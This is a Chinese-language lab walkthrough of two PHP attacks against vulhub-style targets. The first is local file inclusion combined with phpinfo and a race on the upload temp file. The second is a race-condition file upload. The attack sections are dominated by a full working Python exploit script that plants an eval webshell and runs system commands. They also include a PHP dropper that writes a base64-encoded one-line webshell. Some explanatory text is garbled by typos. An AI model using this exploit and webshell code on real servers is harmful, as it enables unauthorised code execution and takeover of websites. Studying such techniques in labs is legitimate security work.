一.PHP文件包含漏洞(利用phpinfo)复现
1.1简介
在 PHP 环境下,如果网站存在本地文件包含漏洞,但是却无法找到想要包含的文件,也无法生成和上传文件,是否能够获得 WebShell 呢?
这里有一个技巧,前提是网站需要有一个 phpinf 页面,就可以通过条件竞争来包含缓存文件获取 WebShell了。这个技巧实际上融合了 PHIP 文件包含、信息泄露、条件竞争这三种漏洞,
下面简述一下这种技巧的原理。在 PHP 语言中,如果以multipart/form-data( 表单) 形式上传文件,PHP会将上传的文件名、临时文件路径等各参数保存在$_FILES 数组。由于文件大小不确定,有可能会因文件过大导致内存开销过大,所以 PHP 会将文件内容保存在/mp 目录并以“php6个随机字符”为文件命名。这个临时的文件在请求结束之后就会被立即清除。
当有一个文件包含点,但是却苦于没有合适文件包含时,可以想办法包含 /tmp 目录下的临时文件,而这个文件的内容是可以通过 POST 数据包控制的。但是文件名具有随机性,而且文件存活时间太短,如何能够快速地在缓存文件被删除之前找到它呢?phpinfo 文就为攻击者提供了可能。phpinfo 会将请求上下文中的变量打印出来,通过POST到phpinfo 页面,再查询页面上打印出来的“$_FILES ”数组,就可以精确获取到缓存的文件名了。但是,这样速度还是有点慢,当获取到文件名时,文件早已经被删除了,这里还需要使用TCP 的一些技巧。
攻击者需要想办法控制网站,让它不要一次性将所有页面内容返回,而是慢慢地返回。由于PHP 默认的输出缓冲区大小为 4096B,也就是说,PHP 每次只给 Soket 连接返回4096B,攻击者需要在读取到缓存文件名时立即发起第二个关于文件包含的请求。此时第一个请求还有剩余内容没有返回完毕,会话并未结束,缓存文件也就尚未删除。这其实是打了一个时间差。下面是较为完整的攻击流程。
1)发送上传数据包给phpinf 页面,在这个数据包中采用multipart/form-data格式将需要包含文件的内容填充在文件内容区域。同时这个数据包还需要填充一些内容较大的 Header、GET参数,相当于塞满垃圾数据。这样一来,因为 phpinfo 页面会将所有数据都打印出来,垃圾数据会将整个phpinfo页面撑得非常大。
2)PHP默认的输出缓冲区大小为4096B,可以理解为 PHP 每次返回4096B 给 Socket 连接:所以,攻击者直接操作原生 Socket,每次读取 4096B。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。第一个数据包的 Socket 连接实际上还没结束,因为 PHP 还在续每次输出4096B,所以临时文件此时还没有删除。
3)利用这个时间差,快速将第二个数据包发送至服务器,即可成功包含临时文件,最终GetShell (只需要包含成功一次,即使缓存文件被删除了,也能够获取到 WebShell,因为 PHP代码运行于内存之中)。
1.2复现
漏洞环境在vulhub上可以获取
https://github.com/vulhub/vulhub/tree/master/php/inclusion
安装https协议、CA证书
apt-get install -y apt-transport-https ca-certificates
安装docker
apt install docker.io
启动docker
systemctl start docker
安装pip
apt-get install python3-pip
安装docker-compose
apt install docker-compose
下载Vulhub靶场
git clone https://github.com/vulhub/vulhub.git
下载完毕后,进入到vulhub目录下( cd vulhub ),通过 ls 命令查看漏洞靶场。、
进到计划进行复现的漏洞环境下,对靶场进行编译
docker-compose build
运行靶场
docker-compose up -d
查看启动环境,确认一下访问端口,通过返回的内容可以确认访问端口为8983
docker-compose ps
环境启动后,访问http://ip:8080/phpinfo.php即可看到一个PHPINFO页面
访问http://your-ip:8080/lfi.php?file=/etc/passwd,可见的确存在文件包含漏洞。
用exp.py脚本来不断的上传数据,利用条件竞争来实现包含文件。当成功包含临时文Php file_put_contents('/tmp/g ','<?p/g', '<?=eval($_REQUEST[1])?>')?>,写入一个新的文件/tmp/g目录,这个文件会被保留在目标机器上。
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
运行python2 shell.py your-ip 8080 100
运行后(有时候执行一次无法成功,需要反复多次执行)发现,当提交到第810个请求时完成了漏洞利用,创建了/tmp/g文件。
接下来,可以通过发啊啊昂问本地文件包含了漏洞加载/tmp/g文件,执行系统命令http://127.0.0.1:8080/lfi.php?file=/tmp/g&1=system(%27id%27),并通过提交system函数来执行任意的系统命令,这里以id为例,一面返回结果如下
二.文件上传(条件竞争)
漏洞原理:
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。
由于服务器并发处理(同时)多个请求,假如a用户上传了木马文件,由于代码执行需要时间,在此过程中b用户访问了a用户上传的文件,会有以下三种情况:
1.访问时间点在上传成功之前,没有此文件。
2.访问时间点在刚上传成功但还没有进行判断,该文件存在。
3.访问时间点在判断之后,文件被删除,没有此文件。`
源码
$is_upload = false;
$msg = null; //判断文件上传操作
if(isset($_POST['submit'])){ //判断是否接收到这个文件
$ext_arr = array('jpg','png','gif'); //声明一个数组,数组里面有3条数据,为:'jpg','png','gif'
$file_name = $_FILES['upload_file']['name']; //获取图片的名字
$temp_file = $_FILES['upload_file']['tmp_name']; //获取图片的临时存储路径
$file_ext = substr($file_name,strrpos($file_name,".")+1); //通过文件名截取图片后缀
$upload_file = UPLOAD_PATH . '/' . $file_name; //构造图片的上传路径,这里暂时重构图片后缀名。
if(move_uploaded_file($temp_file, $upload_file)){ //这里对文件进行了转存
if(in_array($file_ext,$ext_arr)){ //这里使用截取到的后缀名和数组里面的后缀名进行对比
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //如果存在,就对文件名进行重构
rename($upload_file, $img_path); //把上面的文件名进行重命名
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!"; //否则返回"只允许上传.jpg|.png|.gif类型文件!"数据。
unlink($upload_file);// 并删除这个文件
}
}else{
$msg = '上传出错!';
}
}
条件竞争原理:当我们成功上传了php文件,服务端会在短时间内将其删除,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。
这里我们先写一个用于上传的php文件(我这里命名为m.php),内容如下:
<?php
$a = "PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+"; // This is a base64-encoded PHP code.
$myfile = fopen("shell.php", "w"); // Open a file named "shell.php" for writing.
fwrite($myfile, base64_decode($a)); // Decode the base64-encoded content and write it to the file.
fclose($myfile); // Close the file.
echo "File written successfully.";
?>
我们可以使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件(条件竞争马.php),一旦我们成功访问到了上传的文件(条件竞争马.php),那么它就会向服务器写一个shell(shell.php)
换句话说,我们最终利用的并不是我们上传的文件,上传只是为了能有一刻成功访问,一旦访问成功,便会写入一句话木马,我们最终利用的就是新写入的php文件。\
上传m.php,利用burpsuite抓包(这个是上传包)